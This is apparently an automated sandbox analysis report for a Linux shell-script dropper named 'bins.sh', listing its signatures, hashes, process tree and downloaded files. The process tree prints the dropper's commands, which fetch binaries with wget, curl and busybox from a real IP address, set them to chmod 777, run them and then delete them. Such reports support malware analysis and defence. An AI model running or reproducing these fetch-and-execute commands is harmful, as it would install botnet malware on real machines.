Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

7

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    26s
  • max time network
    97s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    20/11/2024, 00:56

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241120-back3swqc1
  • SHA256 bbb77661367bd4071740b3ca95c991f017dbfc6d49c9fad696dddd7cbedc237f
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:702
        • /usr/bin/wget
          wget http://216.126.231.240/bins/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          2⤵
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:720
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          2⤵
          • Writes file to tmp directory
          PID:727
        • /bin/chmod
          chmod 777 b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          2⤵
          • File and Directory Permissions Modification
          PID:729
        • /tmp/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          ./b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          2⤵
          • Executes dropped EXE
          PID:730
        • /bin/rm
          rm b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          2⤵
            PID:732
          • /usr/bin/wget
            wget http://216.126.231.240/bins/pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
            2⤵
            • Writes file to tmp directory
            PID:733
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:734
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
            2⤵
              PID:735

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
                • Path /tmp/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
                • Size 112KB
                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
                • Path /tmp/pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
                • Size 119KB
                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download